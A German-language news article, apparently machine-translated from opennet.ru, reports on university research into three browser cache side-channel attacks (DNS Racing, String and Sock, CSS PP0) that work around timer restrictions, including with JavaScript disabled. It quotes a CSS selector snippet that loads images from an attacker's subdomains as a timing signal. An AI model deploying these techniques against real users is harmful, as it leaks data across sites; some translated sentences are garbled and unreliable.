Angriff auf CPU-Cache-Extraktion, implementiert in einem Webbrowser ohne JavaScript

Ein Forscherteam mehrerer amerikanischer, israelischer und australischer Universitäten hat drei Angriffe entwickelt, die auf Webbrowsern ausgeführt werden, um Informationen über den Inhalt des Prozessor-Cache zu extrahieren. Eine Methode funktioniert in Browsern ohne JavaScript, und die anderen beiden umgehen bestehende Methoden zum Schutz vor Seitenkanalangriffen, einschließlich derer, die im Tor-Browser und DeterFox verwendet werden. Der Code zur Demonstration der Angriffe sowie die für die Angriffe notwendigen Serverkomponenten werden auf GitHub veröffentlicht.

Um den Inhalt des Caches zu analysieren, verwenden alle Angriffe die Prime+Probe-Methode, bei der der Cache mit einem Standardsatz von Werten gefüllt und Änderungen erkannt werden, indem die Zugriffszeit darauf beim erneuten Befüllen gemessen wird. Um die in Browsern vorhandenen Sicherheitsmechanismen zu umgehen, die eine genaue Zeitmessung beeinträchtigen, gibt es zwei Möglichkeiten, einen vom Angreifer kontrollierten DNS- oder WebSocket-Server anzusprechen, der die Zeit der eingegangenen Anfragen protokolliert. In einer Ausführungsform wird eine feste DNS-Antwortzeit als Zeitreferenz verwendet.

Messungen mit externen DNS- oder WebSocket-Servern unter Verwendung eines auf maschinellem Lernen basierenden Klassifizierungssystems reichten aus, um Werte mit einer Genauigkeit von bis zu 98 % im optimalsten Szenario (durchschnittlich 80–90 %) vorherzusagen. Die Angriffsmethoden wurden auf verschiedenen Hardwareplattformen (Intel, AMD Ryzen, Apple M1, Samsung Exynos) getestet und haben sich als universell erwiesen.

Angriff auf CPU-Cache-Extraktion, implementiert in einem Webbrowser ohne JavaScript

Die erste Variante des DNS-Racing-Angriffs nutzt eine klassische Implementierung der Prime+Probe-Methode unter Verwendung von JavaScript-Arrays. Die Unterschiede beschränken sich auf die Verwendung eines externen DNS-basierten Timers und eines Onerror-Handlers, der ausgelöst wird, wenn versucht wird, ein Bild von einer nicht vorhandenen Domäne zu laden. Ein externer Timer ermöglicht einen Prime+Probe-Angriff auf Browser, die den Zugriff auf JavaScript-Timer einschränken oder vollständig deaktivieren.

Für einen DNS-Server, der sich im selben Ethernet-Netzwerk befindet, wird die Genauigkeit des Timers auf etwa 2 ms geschätzt, was ausreicht, um einen Seitenkanalangriff durchzuführen (zum Vergleich: Die Genauigkeit des Standard-JavaScript-Timers im Tor-Browser beträgt). auf 100 ms reduziert). Für den Angriff ist keine Kontrolle über den DNS-Server erforderlich, da die Ausführungszeit der Operation so gewählt ist, dass die Antwortzeit des DNS als Zeichen für einen früheren Abschluss der Prüfung dient (abhängig davon, ob der onerror-Handler ausgelöst wurde). früher oder später wird ein Rückschluss auf die Geschwindigkeit des Prüfvorgangs mit dem Cache gezogen) .

Die zweite Angriffsmethode „String and Sock“ zielt darauf ab, Sicherheitstechniken zu umgehen, die die Verwendung von Arrays auf niedriger Ebene in JavaScript einschränken. Anstelle von Arrays verwenden String und Sock Operationen für sehr große Strings, deren Größe so gewählt ist, dass die Variable den gesamten LLC-Cache (Last-Level-Cache) abdeckt. Als nächstes wird mit der Funktion indexOf() im String nach einem kleinen Teilstring gesucht, der im Quellstring zunächst fehlt, d.h. Der Suchvorgang führt zu einer Iteration über die gesamte Zeichenfolge. Da die Zeilengröße der Größe des LLC-Cache entspricht, können Sie beim Scannen eine Cache-Prüfung durchführen, ohne die Arrays zu manipulieren. Um Verzögerungen zu messen, wird anstelle von DNS ein Anruf an einen vom Angreifer kontrollierten WebSocket-Server getätigt. Vor und nach Abschluss des Suchvorgangs werden in der Zeile Abfragen gesendet, auf deren Grundlage der Server die Verzögerung berechnet, die zur Analyse des Caches verwendet wird Inhalt.

Die dritte Variante des „CSS PP0“-Angriffs wird über HTML und CSS implementiert und kann in Browsern mit deaktiviertem JavaScript funktionieren. Die Methode ähnelt „String and Sock“, ist jedoch nicht an JavaScript gebunden. Während des Angriffs wird eine Reihe von CSS-Selektoren generiert, die nach Masken suchen. Die anfängliche große Zeichenfolge, die den Cache füllt, wird durch Erstellen eines div-Tags mit einem sehr großen Klassennamen festgelegt. Darin befindet sich eine Reihe anderer Divs mit ihren eigenen Bezeichnern. Jedes dieser verschachtelten Divs hat seinen eigenen Stil mit einem Selektor, der nach einem Teilstring sucht. Beim Rendern einer Seite versucht der Browser zunächst, die inneren Divs zu verarbeiten, was zu einem Suchvorgang für eine große Zeile führt. Die Suche wird unter Verwendung einer absichtlich fehlenden Maske durchgeführt und führt zu einer Iteration über die gesamte Zeile. Anschließend wird die „nicht“-Bedingung ausgelöst und versucht, ein Hintergrundbild zu laden, das auf zufällige Domänen verweist: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Subdomains werden vom DNS-Server des Angreifers bedient, der Verzögerungen beim Empfang von Anfragen messen kann. Der DNS-Server gibt NXDOMAIN für alle Anfragen aus und führt ein Protokoll über den genauen Zeitpunkt der Anfragen. Als Ergebnis der Verarbeitung einer Reihe von Divs erhält der DNS-Server des Angreifers eine Reihe von Anfragen, deren Verzögerungen mit dem Ergebnis der Überprüfung des Cache-Inhalts korrelieren.

Angriff auf CPU-Cache-Extraktion, implementiert in einem Webbrowser ohne JavaScript


Source: opennet.ru

Kommentar hinzufügen